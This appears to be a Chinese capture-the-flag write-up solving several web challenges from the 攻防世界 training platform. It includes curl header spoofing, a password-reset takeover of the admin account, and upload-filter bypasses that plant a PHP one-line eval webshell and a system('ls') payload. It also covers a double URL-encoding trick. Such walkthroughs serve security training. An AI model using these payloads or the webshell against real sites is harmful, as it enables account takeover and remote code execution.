[src = 攻防世界] give_you_flag
题目描述
菜狗找到了文件中的彩蛋很开心,给菜猫发了个表情包
天道酬勤,厚德载物
使用浏览器插件,比如Firefox的Tamper Data。如图:
CURL(KALI内置)添加修改头部信息,比如添加文件头:
1 | root@kali:~# curl -H 'x-Forwarded-For: 123.123.123.123' -H 'referer: https://www.google.com' http://111.198.29.45/ |
添加Referrer头可以直接使用-e参数,所以上面的命令可以等同于
1 | root@kali:~# curl -H 'x-Forwarded-For: 123.123.123.123' -e 'https://www.google.com' http://111.198.29.45/ |
关于CURL使用参考:https://catonmat.net/cookbooks/curl
基于Burp抓包修改:
进入弹窗提示“Please Login!”,然后显示登陆框。随便注册一个账号。如图:
然后登录成功。但没有发现大的问题。重点关注首页对Findpwd功能,因为密码修改对逻辑错误经常导致安全问题,因此对修改密码过程进行抓包,如下图:
点击reset后,进入burp抓包界面,如下图:
将其中的username修改为admin,然后forward。发现密码修改成功。如图,基于admin账号登录成功。
点击manage页面,但是页面显示“IP Not allowed!”。这应该是只允许在内网才能访问管理页面,现在是外网,该功能不能使用,因此通过修改X-Forwarded-For头为127.0.0.1,来欺骗系统,进入管理页面。显示
查看源文件,发现页面对注释中包含:
1 | <!-- index.php?module=filemanage&do=???--> |
访问该网页:
1 | http://111.198.29.45:55218/index.php?module=filemanage&do=upload |
发现文件上传页面,如图:
提示只能上次image,上传下面的php代码(这是文件内容绕过,所以不能使用”<?php ?>”):
1 | <script language="php">system('ls');</script> |
抓包后修改后缀为php5(php4也可以,但是直接修改为php不允许)。
弹窗得到flag。
明显的文件上传漏洞。本题是基于js的前段校验。代码如下:
1 | function check(){ |
只允许jpg和png格式,但是我们知道前段校验可以非常容易对绕过。我们首先写一个一句话木马:
1 | <?php @eval($_POST['bitsec']);?> |
然后将文件后缀改为jpg,然后设置代理,通过burp进行抓包,如图
将其中的后缀改为php,然后forward即可上传成功,如图。
页面回显:upload success : upload/1573961293.123.php
通过中国菜刀等webshell工具连接成功,如图:
访问目录,发现flag.php文件,打开就得到flag:
熟悉php的应该知道phps文件可以用来读取php代码,这里就是可以看到此问题导致对源码泄露,直接访问index.phps,得到源码:
1 | <?php |
需要满足两个条件:
第一步,要使得”admin”===$_GET[id]不成立
第二步,经过$_GET[id] = urldecode($_GET[id]);,使得$_GET[id] == “admin”成立。
看似矛盾,关键在理解urldecode函数的行为,其解释为解码给出的已编码字符串中的任何 %##。 加号(’+’)被解码成一个空格字符。
因为当将URL传递给$_GET[id]时,会进行第一次url解码,这时要求不能解码得到admin,然后再次交给urldecode进行url解码,这次要得到admin。
所以构造下面对payload:
1 | ?id=%2561dmin |
第一次url解码得到(将%25解码成%):
1 | ?id=%61dmin |
此时满足了第一步的条件。然后第二次交给urldecode函数,这次将%61解码成字符a,变为:
1 | ?id=admin |
满足第二步条件,得到flag。